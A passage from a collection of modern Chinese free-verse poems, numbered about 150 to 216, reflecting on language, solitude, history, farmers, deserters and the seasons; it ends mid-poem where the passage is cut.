走着和沿着，路的崎岖而通向你那里。 我已经讲你的生气和嗔怒 轻的像棉花一样的覆盖。 而你正是从我柔软的躯体上面醒来 你记起了自己的前世 如果那里没有我， 你就记起了自己青涩的少女时代。 我请你务必如此，我想 摇动着桃花去这样言说。 天色150 《天色》 天色易变， 又自我为明证。 别担心， 人类创造文字的历史也在 这上面。迟的，慢的 我们所渴望的，也都是同一件东西。 花儿151 《花儿》 落难，不止一个， 同时还有他人。 一朵花儿在风中 已经关乎于心。谁也不知道， 这也是你，在人与人的对话中 凭借，尝试，努力，遗憾。。。 种种过后。仍旧想忘掉那一部分 就让一朵花在风中摇曳，给你时间 做时间的陷阱出来。 一切都被投向了自然 泛起的，属于历史的悲剧。 又隔着一段距离。 窗子152 《窗子》 窗子里面和外面 属于同一个地方。 里面空空，外面就 因为等待而寂寞。 时间太过充裕，就会有谁 同命相连却叹息着拒绝了我的 隐而不见。 我的问题还没有问起， 关怀依然如三月开始慢慢温润的水流 如果我是一口泉眼，一眼井 或者在终于被阻止后泼开如一面湖水。 语言已经不属于我了 它把我笼罩， 找到了我心中期待的部分。 我感觉有一个蓝盈盈未来的眼睛 又容易在我闭上的时候 慌息一般，迸溅起太多太多的尘土。 勤劳153 《勤劳》 一首勤劳而贫困的诗歌 会让人们放心的离开。 成为一支长长的队伍， 就容忍失语的部分。 不会把一只手伸的太远， 在庄稼和稻草根茎的摩擦里面 被划伤。 坚持我们的理由 是从来还没有体验过具体生活的经历 看到我们自己依然直直向前 多么顽固。暮色里面阴沉的天幕 那些反转多么顽固呢， 那些被称作史官的人，受得起哲学家和 地理学家，音乐家的称谓 受不了夜里面，整个的历史 单一到都只是一件枯燥的事情。 在它开始的地方，妇女背着一袋子大米 回到了家里面。 淘洗，生火，煮饭 有两三个胃，胃偶尔也会星光一般的 把语言试图装进去的意图阻止。 准备154 《准备》 我已经做好了充足的准备， 我因准备而感到累了。 我阻止不了， 阻止不了的让我一路向下。 我为累准备了睡眠 通行于大自然间最简单事物的关系。 我会从梦中回来，路过一座桥 看看现实里面为等待三月的潮湿 而劳碌的身子。 窗口155 《窗口》 我醒了又醒，退了又退 我只有这词语，词语中我只有我。 \/ 看天色的人儿，看天色到底发生于了那一年呢。 嘉庆，雍正，还是乾隆？ 在一些竹子的节节高上面 \/ 行走时候终停了下来， 那痛接着就蔓延到了静止。 并非全部。一支声音也是反驳 但高昂的口气用着反问句式， 那么一支辗转反侧的皇帝。 \/ 我体会了他阅读，批奏 有关于南方水汛泛滥之时 焦灼又不安的心绪。 动笔156 《动笔》 因为要涉及文字， 因为要写一个故事， 因为正准备动笔。 因果藏在笔与纸连接的地方 不久之后。 又会因为被划开而无法隐藏。 而黑色的墨水替代了它 形成文字的网和条框 感情的部分属于 作者，则无所凭依的游荡 就这么一直深入时他孤独的心儿 也知道， 故事之外甚至文字和语言之外 有一些不能言说的部分。 用小来表达时会一次次的失效 用文字和惊叹口气里面 带着恐吓的火焰则会适得其反。 仿佛地壳隆起为了冰冷的山脉， 那被隐藏的部分， 因此才在诗歌里面再一次慢慢 属于未来的浮现。 它们从最初就训导着文字史 为误解而直面人类的整个历史 一路向下着避难， 此刻，每一个见到了它们的人儿 会怀着怎样的心情呢。 悸动，或任由它们就这么逝去， 嘴里157 《嘴里》 他们嘴里能吐火， 门口这样贴告示，贴在 合适的位置 下雨时贴在门口， 雨停了贴柱子上面。 舞台上面这样演， 最多一句为了呼应和平衡的 开场白，火焰从嘴里 从水被思索时而因果的随意变作了，那里。 贴在远处，隔着几条街 贴汽车上，汽车开着。 车停了贴在田野中，冲着月亮 贴在奔跑的麋鹿身上， 让我想起了孤坐殿堂的君王 那场戏早已经落幕，就贴在天高皇d远之处。 呵，你这个被逼无奈的贴 终还是给泄露了出来 你贴了这么多的广告， 昭然若揭，面具一撕 我便再也回不去了，去做为一个 普普通通，快快乐乐的观众。 想起158 《想起》 今天我忽然想起了一件事 把水从一些 或准确而言是一些些令我满意的事物 里面吹皱并推开。 但我说的不是它们， 唯一的这一 确定被许许多多的不确定围着 水，包围着城郭 夜晚为了包围村子而下落。 但抽去虽然，有一些困难 在语言上却凸显了我，我 轻咳一声，因困难而可以 像， 云的哲理像过去， 过去， 正在到来。 我想起的到底是什么呢， 或者我只是因为遗忘而试图想起些 抑或着我想起了遗忘 终篇， 结尾， 很美丽呢。 于是我继续的想起， 遗忘的， 空着的， 想起的， 或者像这个夜晚般，美丽着的。 养鸟159 《养鸟》 养妙不可言的深处 而让一只鸟儿孤独。 一只， 一只 让它孤独的重复，让它 见证我的凶神恶煞， 通过我，让它恐惧文字 于是三缄其口， 一步步的虽然抓着铁管或树枝 慢慢的却滑落到语言失语 和沉默的深处。 太阳在那里打扫着，特别的明亮 但并不为了它。那块 也绝不是什么以鸟之名而 无用的废土。 来客喜欢，一个世界就需要你 扑腾个不止， 你的翅膀就有可能在语言和生命里面 掀起纷飞的尘土。 我爱这样的场景，我 为这种转折的场景，才让你孤独，让你 哀愁。 让一个归人被杜撰， 三月春雨姗姗来迟 我也说给你听。 颜色160 《颜色》 晃晃这棵树， 树的尽头可能就变作了我。 如果不是， 也没有林间的孔雀和疏密的 阴影投下。 顺着桥梁往回走，或者 起初并非孤独 我们出于热情和力量， 我们晃动一棵树 那最初的人们，脸庞上面还没有 离去时候更加美丽的花朵 我想161 《我想》 我想往高处走，走去。 短暂的自由， 但我可以凭借那些狭小 属于年轻的肉体而把什么，往高处推。 我借此微不足道，但并无往上面 犹如从一口深井里面攀爬的心思。 我因而远离了的事物就一直远离着吧， 带着叹息而使自己 确确实实的去体验一次勇敢。 这些心思还不够，想凭空里面的另一人 踏雪而来。 音乐短暂奇妙的节拍， 他，又陷于雪。在我的舌苔上面 雪慢慢的融化了 在真实的，或者我往前推的事物的 某一种缺席， 一声轻微的叹息 那些会被破坏了的事物， 或者我往前，自身如有所事物了 哎呦162 《哎呦》 从北方带来大的风雪， 把风和月塞进了口袋里面。 如果你就是这么的直接， 那你就在这里住一晚吧。 身体163 《身体》 我的身体，我的肉体 说完这一些 和里面就这样来说完 身体就不需要再寻找它 语言上面的位置了。 接下来是一盏灯， 夜里是一个窗口。 城市里面的灯火从光明而来 因为错误而纷纷点亮 为了涂抹掉光明错误的答案 它们进入了人们感觉里面的并不突兀。 人在那个时候，身体已经饱满，水分 荡漾。文字稀散。特别的美丽 把目光连带着心儿头以关怀于别人 世界由他们一个个的撑起， 如谜的语言如有实质 作为一个结果却渴望着春天里面的新生 有时，它面对着人们的目光 在我看来是种很奇怪的感觉。 鸟儿164 《鸟儿》 一只鸟站着， 一只鸟看着春日里面微小的唐突 一只鸟 走向它生死，缓慢被抵消。 一只鸟看着，与我们没有距离更 谈不上亲近和共生 语言不会袭扰它，语言 就算走到了对岸， 就算升起了想象的红灯笼如如何呢。 石头袭鸟太容易 触碰到我们良知的心，接着那回声很大 是嘴唇边颤抖欲言又止的动作。 我们还是在一个轻微的微醺的 甚至道德的春日里面， 繁多的春日里面，乃至于 罪恶企图的和微小的春日里面。鸟儿看着 当鸟儿的全部是一个眼睛时 那也是 语言的全部，正侵袭着人类。 迫使我们心中把一支鸟儿推向了死亡的阶梯 声音里面又表达和发出 与一只鸟儿谈论拯救， 仿佛又发现了，又有什么被隐藏 那些很深， 我们或者我嫌弃于 语言的多余和添加，有时候我想起了我 正是灯下的另一个人 只能是另一个人，只能在灯下 孤灯一照，夜色全盲， 我还没有到达， 消息是白天里面的一支无辜小鸟。 无题165 《无题》 我想写一部长的， 好把此刻发生的事情 突破，接着超出时间 放在一切的最初。 时间看着它自我形状的破碎 在那里谈论发生的事情有多严重 我也是所导致后果的一部分， 所以即使不动也被催促， 在神秘主义那里匆匆的回来， 失败最为的难以启齿 有时候那些时间就在我的体内，深处。 放松166 《放松》 和放松在一起， 期盼着曾被忘记的事物。 和呼唤在一起就是和诗歌在一起 和不必解释在一起就是 和你在一起。 和过去在一起和你一起想象美好的未来。 事情反转，花朵 被瘦弱的根茎和叶子托举 谁又能托举起别人的唇瓣。 土地上的事情如今又是春天 它因为轮回而到来， 和轮回在一起就是和爱情在一起 一切有忽然变成语言的瞬间， 听到这粗枝大叶将耗尽我的一声 举起爱情的时候用心扉用手儿 带着不置可否和并不相信的态度。 寂寞167 《寂寞》 我在春天寂寞， 我就不能离开。 我不能让其他的事物寂寞， 我不能让其他的事物 看到我一颗伪善的心。 不能追究文字的寂寞， 寂寞通过笔的长廊，纸张的 通道 我一点点的不再寂寞， 所以我写寂寞的文字， 因为我并不寂寞。 趁着168 《趁着》 趁着我寂寞， 你应该远去，我心儿一阵银铃 会响的长久令我生疑。 你不应该到来，你会 变成月下的一匹白马。 你已经在跟我对话了，那些书信 一写，就在三月淅淅沥沥的春雨里面 投进了我的心里。 一个小小的邮差，一个小小的邮筒 昨日历史里面的文字只被历史学家偏爱， 我连接了这样一个故事 使它悬疑， 封蜡总比两具双双怀抱的骨骼 更能让心怀期待的心儿失望。 我通过他，一双粗糙的手， 再次确认了我的位置 我会找到你， 窗棂下开小红花，你正在写着什么。 场景171 《场景》 宫门太深了，直抵住 皇帝的嘴唇，舌根受到很好的保护。 皇帝在新鲜的食物后面就可以轻易发声， 密诏覆盖了国土 老太监忠心耿耿托举这一片纸张。 走出正殿，穿过广场，雕龙的石柱子 一步一步向王土的各个角落走去。 这个场景中谁也不会相信衰弱， 衰弱是一种不会发生，伸出手被扼住脖颈的东西 扼住一个流民的脖子， 在他的苦难上面让它体会一下 什么叫做更加的痛苦不已，那么 我们就给了它来自于x部和y门的幸福。 来自通力合作的幸福， 没有人使我们不幸福。 文字在黄油灯下写作的幸福 翻来覆去再也找不到不幸福的流民。 叙事不是我所擅长，我到来的突兀 没有备好陈词，钟声从一页泛黄的纸张那里 最初是瞄了一眼，后来是尝试慢慢端详 跌落进它事先埋好的深坑。 密诏不仅仅要让古代是皇d舌头味蕾的根部 那些美好也涉及到 从星辰滑落向未来归宿的期待。 我们是流民和妇孺的后代，贫农都算不上 一个名字值得奋斗一生，从现代的拥挤这里 也有一种虚弱，小心思带着侥幸 把庭院之深作诙谐解。而这一景象 跪，俯首，训斥，列队，声音 青草为荒，在天色易变时匆匆返回。 一个又一个驿站我看到了一个又一个流民 一个又一个瘦弱，没有名字的人。 看不到172 《看不到》 在未来，我们看不到之处 植物是秘密， 从青草间借着摇曳的瘦弱而升起， 空气是一种秘密 屋舍是秘密， 人的生活方式也是秘密。 眩晕的未来，让如今的头脑晕眩。 摇头晃脑的听人讲述未来的美好 使我的嘴和唇都闭上， 那是我交出的语言， 作为一个又一个的问题 以解答的方式在不可质疑之中被覆盖。 而沉睡在语言的方式是 耳朵的叛变么。方式只讲一次 是耳朵听着人自己的清醒。为何 你又在清醒，时间的紧迫和珍贵里面 做别的事情。什么也不想放弃 或直接的想要断出一颗火热的心， 那些文字为何会令你有两座山之间深谷 没有尽头的河流上缺少桥梁的感觉。 如果你的选择让一切陡然一变 我就会是那个听闻你不向往别处而 离开，消失在草原和盆地的人。 我有时候为了不被自我发现所恐慌， 你是我的过去，应该对于农耕有一种 太过顽固的误解。 倾斜173 《倾斜》 在言语对风的叹息里面 什么都不会剩下。 我想从那里出发，不再自我劝慰 谁呢，想起来了什么 把房子赠予那个想起我姓氏的人。 把错误叠加， 人怎么会真正的把错误承认，那承认 发生在下午，明亮的时刻太阳 反射着弧线美丽的光线 但都是一些被赋予意义的时刻 它那些琐碎的流逝部分 必不可少天幕里面零星敲打未来记忆的光点 使我迷失， 我在最轻微的强调里面 仿佛处理着什么伟大而迫切的任务。 我把错误叠加在了错误上面 一个请问你而紧张的人， 我只是渴望被寻找，但在到来之前 才是我的心意。 他的微不足道，像离开，倾斜之类的 如建筑物，影子很是倾斜。 里面174 《里面》 事物在文字里面的名字 是它们自身的投影。 很多时候都准确的像一种古老的约定 从那里，有人趁着夜色攀爬 如攀爬一株高入云端的藤蔓 在我的耳边成为我熟悉的一个人，又 总爱自比为涉水而来，说着某某朝代， 隐约中也会偶然回忆起什么。 在古的蜷缩上面我们有可以 任意涂抹的权利。 况且这也不是生，一幅幅端正的面孔 面对着过去，甚至会面对的苦难 接受着良知的质询。 事物的名字在声音里面，再三的挽留 离去的太过于坚决 而看起来，如果我拿出的理由是 钟情于三四月份的俏丽之事 那些事物在花朵之中纷纷的 被雨水浇淋便梦想着向下，顺着 多情的甬道。 而更为的隐秘，从饮食之中也会被发现 我就会变得毫无办法 干脆承认了，任由了说出具有消逝的特征 在下一次的来临时，那也不是上一个 下一次来临的很是接近， 慢慢的一点一点， 或者就是那个时刻。 位置175 《位置》 我都承认了， 无人的时候向着山谷里面 农民的身影 一个一个。银铃一般 记不清的不仅仅 在于语言，也用银铃一般的声音 来覆盖住。 我是如此的无法忍耐， 从一个破旧的地方， 我是如此的幻想出发和语言 无形，它等待自己有形如 流水又是怎样的时刻。 像只有， 便只有我。否则，我怎么可能再更多的 使用语言，我怎么可以避得开 言语的律法呢。 你，于是在自然难以被描述的地方 春天里面绿意盎然的，有影子大片 投下来的地方。 像一次行动后的后果。 像结果则沉默会在某个地方悬疑， 我都承认了，你不能动 事情应该匆匆的结尾，空洞的 回声应该值得更多赞美和洋溢之词 有时候它是虎，是狼 有时空缺着，你是人类，有某个位置。 身子176 《身子》 把身子扭过去，或者 停顿一下， 如果我想把整个扭过去的身子 和思都再次的扭过来 在沉默里面实行这一切， 来到了异乡灯火就记起了光明 像我扭过去是因为遗忘 转身和冲向了另一边 都是很自然的事情。 一一177 《一一》 从不同的地方， 在覆盖之前， 而面对着命运一般的呵斥 或又在人们的退缩之中 从他们的嘴唇间抛下 如闪光。 从东面，西面，南面和北面 在你来的时候或许 并不仅仅于中途而因为疲劳而停顿 那时候你像是一个人 活生生于，在于记忆。 那时候我从人群之中高呼，抉择 或者听到了别人的呼喊和指出 你所回忆的是最初 抑或着那些文字的闪光，确实正如同 大地，在将什么都一一覆盖。 缺失178 《缺失》 地理上感觉很大 缺失的部分只是对于一个人儿 暂时不知道该如何来表达。 急切的表达头脑中形成 连续的动作， 跟下午里面的人的事情 跟静止一和模样。 唯一不同而可疑，则是头脑 像相同所具有的不同而具体的情形 像语言不是深而是溺水 我顺手捞起， 但这并不足够，我于是进入了无感的夕阳。 躺着179 《躺在》 夜晚躺在床上，我还是处境堪忧。 但我感觉到我与许许多多人们共同的 存在着。 其中并不存在着鸿沟，别人也不需要 我去证明他们的存在。 不用在夜晚书写一封书信，寄给我渴望的心情 或者有人走到院子里面，抬头看了看天色 便披上厚衣裳为一次远途付诸行动。 行动属于白天，白天丰盈 在人们的话语里面则属于丰盈， 词语的表面像粮食通过了油水 表面有一层光泽。 我会在别人偶然想起的某一件，值得诉说的事情 里面成为一个微小的背景 现在我还是一个背景， 脱离他的视野之后，背离了原来的路线 人群中的每一个人都被高处的另一个人寂寞的看着 我在别人一瞬间的目光中活着， 在视野转向别处的时候熄灭。 而大地拯救了我，同时，我与许许多多的人们 一同的感激。 日子久了反而习以为常， 在夜晚的想起和偶尔的领悟 甚至只是麻木所必然的环节 我的恐惧更多来自于，对轰然倒塌的担忧 在建筑和堆砌之中， 不发一言的人心中有着叛逆和压抑 不得不被另一种标准所束缚。 像是了道德的回声，人就等待着下班 人甚至会如离弦之箭 在丢下一句古代的谚语之后 便在心中为自己杀死的一只鸽子 而没有了歉意。 像诗人鲁羊那样一种绝对之诗的写法 效果如何，而向着细节 是否也有着迟延的色彩呢。 等待我吐露出思的人，我说出的 是贫乏的戏曲。耳目闭塞和一无所知 才使得我更为肤浅的面对 生活和生命的大门。 植物180 《植物》 声音停在了植物的门外 成为了事物的一部分。 微风，同样的无形 经过它时曾经将它拉扯 这其中发生了短暂的故事 使得植物的身影扭曲，晃动。 面对我这样的猜疑它显得沉默 给自己穿绿衣服沉默 向空中伸出了左右，一瓣瓣的小手 在说出最初的语言之中 我就离开了。 对于一株之前无名的野草， 给予了某一个更为具体的名字 和无形的命运。 春去秋来的时候我会回来看看它 如果它的叶子尽数掉光， 在山坡上如果我也已经忘记了它在哪里。 攀爬181 《攀爬》 光滑的青石台阶，表面已经被 行走和踩踏磨平。 一条向上被树木掩映的通道， 已经获知了人们的意图 沉默的在言语的深处存在。 人是一种伟大的东西， 我在别人，前代人消失 群体性必然上面存活。 我已掩盖去了没有必要提及的降生， 紧接着，在长大中必然有着的困难。 有时候最为极端涉及到了牙齿和口腔， 语言问出，像推卸，又因此狡辩 在困难的习以为常之后充满了矛盾。 但这只是我，而非其他人， 我正在下山，我想 山上的人太累了，无暇多想 我把自己所经历的累 攀爬是一种文字，怀旧于自身 我看了他一眼， 就鲜活的有某种传递，陌生是种永恒的必要。 残缺182 《残缺》 在他年轻时他瘦弱，单薄 下班以后骑着自行车回到同样单薄的家 一路上听着极速和蹬踏于踏板 掠过的树叶风景像是残缺的。 如今，他忘了梦，但没有走多远，不是未来 在确认完这些事情之后，抬头看一眼 他朝思暮想的姑娘还在 另外他还是想， 既然都一次次的失败了，昨晚石子路上的那种残缺 是否真的就是一种残缺呢。 下来183 《下来》 人从山上下来， 顺着坡道走进山脚的树林，消失不见。 我猜他坐上了车， 再过几个小时后可能就会出现在渡口 在一个夕阳般美丽的傍晚，站在那里 静静地，等待一天里最后一趟渡轮。 我顿时失去了登山的意义 并且不得不全力于聚精会神的防御与隐忧。 如果无意义作为一种真知灼见， 回答需要牙齿和声音的配合。 早已成为一种悠久， 蒙蔽了我和世人。 而我不得不回到自己旅途，快要到达的地方 记忆尚且新鲜，有一些波浪，我乃是水中逆流的鱼儿。 下山的那个人在陌生人的语言中选择了 更为隐秘的接纳方式。一个陌生人因此 即使没有具体也在土地上面天高水长 离去遇上了我逆流而上的时候 我在山里面，又是什么， 对于重复，或重复于人不能 在此，和在彼。 亲眼184 《亲眼》 我买了票，进场 在自己的座位上坐下。 亲眼所见，火焰从那人的嘴里 两三米远的喷出。 未伤及无辜。 我一颗悬着的心依然没有放下 在登山时候有着慌息 手揣在兜里，把另一个微小的事物 踹的很紧。 在兜里面已经变形的门票 印着火焰的形象， 吐火的嘴已经变了形， 我的心缓解了一些。 作用185 《作用》 说的作用像桥， 也已经为多。 说在语言里面， 植物就比我更加的虚无。 一路上不停的说会把同伴 抛掷在一片绿色之中。 初春时节的绿意倔强， 停下来等了等接下来的奇闻异事 我也要等一等， 稍作片刻，就不会再有 那种另一个人最终变作我的可能了。 城市186 《城市》 城市里的一盏灯火， 在高楼的二十几层亮着。 黑夜的寂寞停在附近，止步不前。 把寂寞还给了漆黑 谁又能发现和察觉。 我看到一个站在大楼的门口的人 把一只手伸入了楼宇 摸到了高处的一颗星星。 使我在灯与火的相同之中说话 或这样子的开口说话的时刻被照亮 对于那些星星与灯火的相同 迟疑，或者人 站在大楼下面的那个人不发一言 我也并不能听到她说了些什么。 下雨187 《下雨》 天要下雨，季节 在一口叹息之后肩膀倾斜着。 姑娘要嫁人， 我思量了很久，在未见有人收去 晾晒在院子里面的衣服时。 青草地，田地和人一样 夜晚姑娘也会梦到它。 但不会特别的清楚， 第二天里人也会紧闭自己的双唇 落红之事在不久之后， 草木青葱，它们的根茎，向上结伴支撑。 耗尽一个人一生的这种风景 就像幸福，无法看清， 在新的转机和我的无法想象里面 是它们的名字，各自， 又原因于律法而被倒扣着，q禁 珍贵188 《珍贵》 珍贵的阳光洒在自己的 如此普遍上面。 它因此洒落的很慢，我的语言 不能成为一种事无巨细 并为此申辩。 那是一种小，被我比喻成缝隙 我回想着我从屋子里面出来 之前发生的事情。 以静默和平静，以宁静 那些光沿着缝隙洒落 一种蔓延，之前 一直追逐着我的语言。 一切，从黎明就开始了。 边塞189 《边塞》 历史像妇女来到了边塞 歌儿唱的轻，古时很少有人 一袭柔软愿意用语言为自己赎罪 月光下分开了双腿。 故乡的两条大河被分开， 那时候我还是个农民，你是 无所谓是什么 轻包裹着你也贫困的一颗孤星。 顺着河道我回到了自己的农田 这条路，我以为我会走完一生 在另一个女人身上，我 奋力的寻找你， 痛苦是夜晚的云朵， 四季里面如今你属于春天 升上夜空的还有你的名字。 卸下189 《卸下》 我见人写下重甲时 联想到的是一位姑娘。 担忧于自己的雪白而活的 小心翼翼。 并不洒脱，我翻山越岭只为了 最差以邮差的身份捎带这样一句话。 卸下重甲与战争无疑 心思青涩的人迈入了营门。 为了成功， 他穿上了重甲， 塞在狼烟未起， 只是收去了我所有的遐想 这胜利之姿。 举起190 《举起》 举起刀剑， 你是一个战士，辛苦的走着， 通往英雄光明的圣殿。 不许再归了，敌人在 敌人善良母亲含辛茹苦养大的血里面也 如此的说。 在死亡和生存之间， 彼此都在寻找一种平衡。 其实，语言终究太快了 两个眼神就是两个生命代名词。 你活着，就需要接受被命定的宿命， 往自己年轻的模糊记忆里面去， 年轻里面的破败的村庄，居民 看着一个嘴里胡言乱语的人，感到如此惊异。 真实的情形， 你一路往北，再往北，直到蒙古包前 一个老妇人投身于火，终生不善于言语。 有时候你输了， 一路拼杀直到信以为真。以为真的可以把 自己对这片土地上建筑的质疑 砍出个踏实的，义无反顾的结果出来。 如今，你是婴儿，永恒的卡在 重生的门槛上面徘徊不前。 在你简陋的土包， 自然的野花，黄色的， 很淡，后来者穿过的多么普遍。 问我191 《问我》 我等你问我， 我的信念是一棵树， 还没有图景，太阳照射之下 它还没有更为具体的影子详实。 我的处境因思索美好而被 挑战着， 那时候我端来的是水， 于正准备浇灌自然的意义上。 那也是光芒的部分 我更为详实的影子由什么所组成，我的 心由什么所组成 夕阳下的一棵树，晃动。 你离开，开口问我 离开的原因我自始至终不知道。 月色193 《月色》 在判断的正确里面存活， 压住一个人气喘吁吁的舌头 本意只是休息，月色之美值得抬头看一看。 在我们之间，是你和我 我有时从一种漫长的太过虚无里面落下来。 在我们之间是星辰、夜晚组成流水的小溪 是河流，像我从水面之上 落在了水面上。一种虚无在人儿那里 两次如此寂寞的声音， 为一个 如谜的夜晚，你能侧耳听到。 登山194 登山 《登山》 草木还没有被命名的单薄的历史 冲着前方。 上山的路也在那里，未来 就一阵阵的恍惚。 这些是猜疑， 我借此可以区分开来每一个上山 登山的人。 之前人们穿衣打扮都是为了伪装，更好 一点点是下车的小心和步频的节奏感 在节奏美妙的谈起里面气喘吁吁的 登山中途， 也是更深的行为了。 重复195 《重复》 我一件一件的脱下衣服。 把它们下沉到比我的微不足道还要深的 处境里面。穿变作一个悖论 没有解，夜晚我再次的脱下了它 重复197 重复 《重复》 一件一件的脱下外套和保暖， 裤子和衬裤， 把鞋子脱下。摆放的整整齐齐的想法 也脱下。 从一片幽静里面出来， 沉默不再是试着。黎明 跟夜晚正弄虚作假直到坦诚只是一个笑话。 有一段时间我神情恍惚 不知道为了什么 像每一个人都会这样一般。 趁着198 《趁着》 历史上的那些逃兵， 趁着夜色，离开了战场。 他们簇拥向前的职责和冰与火的意志， 失眠与唉声叹息此起彼伏。 顺着他乡陌生的土地 破败的村庄，凋零的叶子 春天苦苦缀着自身向秋天过早滑落的可能。 喝一口水，解解渴， 逃向了农民何罪之有。田地荒芜 便心一横逃向文字。 向书写逃离，他只想为自己申辩。 一个被诗人们注视的农民 只能接受他耕田的命运。 反问带来一阵阵的震硕， 歌颂战争胜利的语言依然太过于轻微。 逃兵199 《逃兵》 逃兵，在被偶尔问到 他们是谁，或者是哪里的人。 逃兵们所带来的慌息 历史的事实仿佛就有了新的因果。 历史摊开，如书籍，以土壤和古迹为书页 以草木为书页，和一条被争夺的河流 冲着我们感觉艰难的阅读。 除非我们仅仅停留在胜利的文字上面 摸到了英雄，我们的手也被亲切的抓住。 籍籍无名的逃兵，他一直想离开贫瘠的故乡 把家搬到离河水更近，土地更肥沃的地方。 参j时，他看了一眼月亮下富饶反射过来 五谷丰登的景象 他唯一的一次路过，人们的口口相传的东西 在他心里开始长出了绿意。 但他还是搞不清楚，为这里而付出生命 是否值得。 有人200 《有人》 有人能活一千岁， 在被问之中的一千岁 在一千朵花里来不及美丽。 在盘亘中一千岁，多么 美丽身体的侧影 更多的语言值得去赞美。 我扬起了我的唇，唇打开的时刻 在一个时刻里面， 这些被打开的时间。 在短瞬之中你也活着。 光芒201 《光芒》 当李亚伟太过光芒四射 江郎才尽对什么都不闻不问 误解与沉默，行走属于附庸 很久没有再回到我们的故乡。 我们如今由你和我组成， 你亲密的，痛苦的打一声 天高水长的招呼。 如江水一般甚至还要更长， 使我们在难以想象之中，依然 可以为生存所辩解。 孤星太高了， 它从缓慢开始的。 这里尽是他最初的痕迹， 没有人的时候叫做书写。 石头202 《石头》 让石头感受到危机而成为了石头。 一团紧凑的亲缘 只是会被语言偶尔的提及。 在其他的夜灯的，晨雾的，人似有所闻场景。 有时候停顿会暴露最大的秘密， 这使得语言与石头之间的关联 是推卸，乃至弄假成真时 人是在场的，而沉默着自身的最后一点良知。 大河203 《大河》 历史像什么，于是 它来寻找自己之所像。 三月，你的嘴唇与语言已难解难分了。 你不说话的时候， 在你面前是一条大河。 大河2－－－204 《大河2》 历史像什么，于是 它来寻找自己之所像。 三月由你来书写， 星星，天空，和土地 在涉及内容， 内容由离别和奔赴所组成的 语言之间。 动词205 《动词》 活和活一样等长， 活拉着长长声音。 活在这一边无知里面，活在白色里面 活在对黑的暗示，活如下降为了 一个动词，低下头寻找着奇迹。 花费了时间才活着，我就应该闭嘴 上下开合里面这是我肤浅的命 回归吧，接着才好在人们的语言里面出现 活的复涌。活其实是很莫名 而后才可以通过人而成为一种东西， 活很形象，犹如钱财的诞生 从窗子里面探出头去看窗外下着的 雨季的景色，像有一种节奏 靠近，我就陷入什么之中了。 丛生206 《》 诗歌停止，戏曲 丛生的好似属于远方的一种悬疑 如果我们把月亮孤悬 在丘陵地带它慢慢的升起。 如果我从一间屋舍很是平静， 思索走出，那些情景将面对着 远比一个微不足道的人更为广阔 如蝉的声音， 脱离开了树丛 从某一个时刻就已经开始了 开始的时候我们的嘴唇紧闭 像那些专注的良心 人在里面跳跃个不停，词语 来去，人出生和居住在南方。 说话207 《说话》 我说话， 占有了夕阳形式的美。 下沉的时刻如此的庄重 一点点的。 残缺的，不被需要的。 人坐在田埂的边上 衰老如一种确定性难被丢失 草丛之中的缝隙并不来自于 石头的砸落 风向一个方向吹着， 我语言的基础， 如此薄弱 我们是欣喜的， 我感觉这依然是失败， 在它顽固的深处，也并不仅属于过去。 火车208 《火车》 火车沿着铁轨驶向了远方， 发出古老的轰鸣 冒着黑烟， 它平静的逃不出电视，很平静 电视比手机更旧一些， 也一样。 下来209 《下来》 我敲击着她陌生的名字 就像一把旧钥匙 锁一路很是顺利，被带到了远处。 被杂糅进了，离开这里之后 与太阳和明月共用一个名字 被湿润的水滋养着。 为突然的意外，和一切突兀而感到害怕。 我看到了心底生花 时节特别美丽如接吻。 看到从山上下来的人，下了多么大的决心 抑或者山脚有美丽的情郎 一夜烛火总好过一夜无眠。 把小舟停在语言和江水的拐弯之处 荡起了历史之中许多同样美好的故事。 星辉一般的布置， 包括了星辉，月光， 远方的大河是故乡的那一条 终生回忆着自己过往所流经的土壤。 下来210 《下来》 你不是云，不是蓝天， 一支闲鸟有着可以自由来去的部分。 极端的不是， 飞翔没有在日夜轮换中丢下些什么。 只有春天，气温转暖，雨季到来 那些增多的离不开这座山，赞美的声音 使我区分不开你幽暗不明的身份。 只剩下男子沉默到了农夫的身份么， 羊肠小路却首先就拒绝了这种枯燥的想法。 我们显然都愿意是一个女子在历史之中， 寂寞。寂寞的听我们讲述她自身， 杜撰她的心思，为她的未来设定每一个地区 不同的遭遇和忠贞。 你从山上下来就落了俗套，你从明朝， 清朝里面同样会看到它们 那如今是我们，河水的波浪 人走向山丘的，脚下轻浮的路程。 风景211 《风景》 风把草茎，土地上的麦秆 都吹走以后 就漏出了藏在最深处的鸟声。 笃定212 《笃定》 我笃定一朵花朵是一位美人， 笃定黑与白的区分 早已经缠绕着声音叮当的锁链 要捆绑之人，痛苦的印痕藏在了 他裹紧的风衣里面 连带着那些美丽的期盼也遭了殃，而他 或许在离开的时候 再也容忍不了， 空虚里面的我的碎碎念， 从小桥，这历史遗留的浪漫那里，心意一改 浪漫主义的念头再次萌生。 所以，我来到了山脚，并不意味着我要登山 登山甚至会压碎我的骨头和牙齿 登山如褐色的男人躯体， 令人毫无兴趣。 我只想蹲在一片野花的旁边 仔细的端详， 给予它们语言上的袭扰。 收获颇丰于一朵和一片， 疼在心里， 柔软，拿捏着，在指端轻轻的 花瓣旋转。 时候213 《时候》 说的时候，我就 远离开开了你的唇和一个 想要吻你的想法。 我走得慢了一些，或者更慢了一些。 我甚至远离开了那些在唇下燃烧着它的 木柴和农民。 已受够了农民和土地朴素的爱情， 我受够了是因为自己其实并不是 那样子的一个男人。 时日从藤蔓和花朵里面出来 从春天出来的是水盈盈的变作了一切。 而注定了会全部的腐烂 从它们最坚实的部分开始。 行走214 《行走》 当行向远方， 来不及说完的语言 就成为了回声。 给人一个安静的时候我就会不免 猜疑。 我会压下在我心中最大的那一个 比如，有关于我不是我。 或者，我干脆倾听着土地，粮食，河流的 序列 我成为了我看起来是多么令人悲伤的一件事。 农民215 《农民》 他这个当代的农民终于读懂了， 悯农和蚕妇。通过义务教育 他甚至懂得宋朝和明朝有别， 时代的车轮里面并不都是战乱。 他坐下来休息，土地如扇在他的面前展开 夕阳垂落中容易诞生出悲伤了， 身边是一袋子比他还要小心的复合肥。 忽然他想起了那粒粒皆辛苦， 接着是凄惨惨者柔软的归来泪满巾， 大河如泪，妇人何在。 化肥不能撒向古代， 但他奋力的冲着这历史 延续至今的悬疑这么去做了。 后面216 《后面》 越往后面， 事物越是新的。 疲惫是新的， 为了新的而远离土地 像漂浮在土地上面夜晚的一朵云 挽留我们的声音如此的平常和轻微 从一块小小的，多么令人倍感失望的 土地上面传来。 如果我们拒绝，经受人的脑海中 那推门而去的潇洒， 